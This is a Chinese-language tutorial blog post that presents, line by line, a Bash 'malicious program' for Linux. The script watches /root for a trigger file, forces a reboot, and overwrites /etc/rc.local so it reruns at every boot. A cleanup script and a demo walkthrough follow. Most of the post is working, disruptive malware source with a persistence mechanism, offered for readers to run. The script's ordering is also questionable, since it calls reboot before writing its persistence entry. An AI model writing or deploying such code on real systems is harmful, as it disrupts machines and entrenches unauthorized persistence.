[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-linux)

发布于:2024-11-03 ⋅ 阅读:(114) ⋅ 点赞:(0)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

1 需求

需求:做一个恶意程序A
恶意程序A会监测某一个特定的目录B
当目录B下出现某个特定文件C的时候
恶意程序A就会执行某一个固定的恶意操作D

2 linux 实现需求

恶意程序 linux.sh 监测特定目录 /root 出现特定文件 a.txt 执行恶意操作 reboot

2.1 恶意程序 linux.sh 源码

2.1.1 恶意程序 linux.sh 源码

#!/bin/bash

# 监控的目录
monitored_directory="/root"

a=true

while $a; do
    # 遍历目录中的文件
    for file in "$monitored_directory"/*; do
        # 检查文件是否为a.txt
        if [ "$(basename "$file")" = "a.txt" ]; then
            echo "a.txt 文件已出现在目录中!"
            sleep 60s
	    echo "您的主机将在一分钟后重启!"            
	    reboot 
            a=false
            cat > /etc/rc.local << '__EOF__'
#!/bin/bash
sh /root/linux.sh &
exit 0
__EOF__
            echo "illegal 命令注入成功!"            
	    chmod +x /etc/rc.local
            systemctl daemon-reload
            systemctl enable rc-local
        fi
    done
    # 可以添加一些延时,避免过于频繁的遍历
    sleep 1
done

2.1.2 恶意程序 linux.sh 源码讲解

这个脚本的主要功能是监控指定目录(/root)中的文件变化,当检测到名为 a.txt 的文件出现时,执行一系列操作。以下是对脚本的详细解释:
1.定义监控目录:monitored_directory="/root":设置要监控的目录为 /root。
2.初始化变量:a=true:初始化一个布尔变量 a 为 true,用于控制 while 循环。
3.进入无限循环:while $a; do:使用 while 循环不断检查目录中的文件。
4.遍历目录中的文件:for file in "$monitored_directory"/*; do:使用 for 循环遍历 /root 目录中的所有文件。
5.检查文件是否为 a.txt:if [ "$(basename "$file")" = "a.txt" ]; then:使用 if 语句检查当前文件名是否为 a.txt。
6.如果找到 a.txt 文件:
输出提示信息:echo "a.txt 文件已出现在目录中!"
等待 60 秒:sleep 60s
输出重启提示信息:echo "您的主机将在一分钟后重启!"
重启系统:reboot
修改变量 a 为 false,退出循环:a=false
创建或覆盖 /etc/rc.local 文件,并写入启动命令:
在这里插入图片描述
echo "illegal 命令注入成功!":修改 /etc/rc.local 文件权限为可执行: bash
chmod +x /etc/rc.local: 重新加载 systemd 守护进程配置: bash
systemctl daemon-reload:启用 rc-local 服务: bash
systemctl enable rc-local
7.添加延时避免频繁遍历:sleep 1:在每次循环结束后等待 1 秒,避免过于频繁地遍历目录。

2.2 清除程序 linux-kill.sh 源码

2.2.1 清除程序 linux-kill.sh 源码

#!/bin/bash

sudo sed -i '/sh \/root\/linux.sh \&/d' /etc/rc.local
echo 成功删除/etc/rc.local中illegal命令

file_path="/root/linux.sh"

if [ -f "$file_path" ]; then
    rm "$file_path"
    echo "成功删除文件 $file_path"
else
    echo "文件 $file_path 不存在"
fi

2.2.2 清除程序 linux-kill.sh 源码讲解

#!/bin/bash

这行是Shebang(#!),它告诉操作系统使用哪个解释器来运行这个脚本。在这里,/bin/bash表示使用Bash解释器。

sudo sed -i '/sh \/root\/linux.sh \&/d' /etc/rc.local
echo 成功删除/etc/rc.local中illegal命令

这两行代码的作用是修改/etc/rc.local文件,删除其中包含特定字符串的命令。具体来说:
sudo sed -i '/sh \/root\/linux.sh \&/d' /etc/rc.local:使用sed命令编辑/etc/rc.local文件,删除所有匹配sh /root/linux.sh &的行。-i选项表示直接在文件中进行修改。
echo 成功删除/etc/rc.local中illegal命令:输出一条消息,表示已经成功删除了非法命令。
file_path="/root/linux.sh":定义一个变量file_path,其值为/root/linux.sh,即要检查和删除的文件路径。

if [ -f "$file_path" ]; then
    rm "$file_path"
    echo "成功删除文件 $file_path"
else
    echo "文件 $file_path 不存在"
fi

这段代码是一个条件判断语句,用于检查文件是否存在并执行相应的操作:
if [ -f "$file_path" ]; then:检查$file_path指定的文件是否存在且是一个普通文件。
rm "$file_path":如果文件存在,则删除该文件。
echo "成功删除文件 $file_path":输出一条消息,表示文件已成功删除。
else:如果文件不存在,则执行以下代码块。
echo "文件 $file_path 不存在":输出一条消息,表示文件不存在。

2.3 演示

2.3.1 恶意程序linux.sh

在这里插入图片描述

2.3.2 清除程序linux-kill.sh

目前恶意程序 linux.sh 放在 root 目录下,这个恶意程序是你放在哪个目录都行
在这里插入图片描述

2.3.3 恶意文件a.txt

目前恶意程序 linux-kill.sh 放在 root 目录下,这个清除程序是你放在哪个目录都行

在这里插入图片描述

2.3.4 操作步骤

2.3.4.1 后台运行恶意程序

& 表示后台运行,运行之后会一直监测特定的目录/root

sh /root/linux.sh &

在这里插入图片描述

2.3.4.2 特定文件移动到特定目录

模拟特定目录出现特定文件,将我提前准备好的 a.txt 复制到特定目录 /root

cp /root/Desktop/a.txt /root/a.txt

在这里插入图片描述

2.3.4.3 恶意程序监测到特定文件

我们之前在后台执行得恶意程序监测到文件,回显 a.txt文件已出现在目录中!

在这里插入图片描述

2.3.4.4 恶意程序监测到特定文件后重启操作执行成功

等了一分钟之后,系统成功重启,说明恶意程序监测到特定文件后重启操作执行成功

在这里插入图片描述

2.3.4.5 清除程序 linux-kill.sh 清除恶意程序

回显内容如下:
成功删除/etc/rc.local中非法命令
成功删除文件/root/linux.sh

./linux-kill.sh

在这里插入图片描述

2.3.4.6 操作系统再次重启

因为写入了自启动文件只要启动他就会去执行那个程序,然后他程序里面的恶意操作,就是一分钟后关机。
然后我们清除的一个动作是在他执行程序执行那个恶意程序之后,我们才执行的清除操作,所以说他还会再有一次重启的操作。

在这里插入图片描述

2.3.4.7 查看 rc.local

再次查看rc.local,发现rc.local里面的恶意命令已经被删除
注意:如果查看的时候发现还是存在,可以再次执行 linux-kill.sh 文件进行删除
如果在第一次执行 linux-kill.sh 的时候比操作系统启动项执行得更快就需要再次执行 linux-kill.sh 删除

在这里插入图片描述

相关资源

shell脚本入门到精通
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-linux)
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-windows)


网站公告

今日签到

点亮在社区的每一天
去签到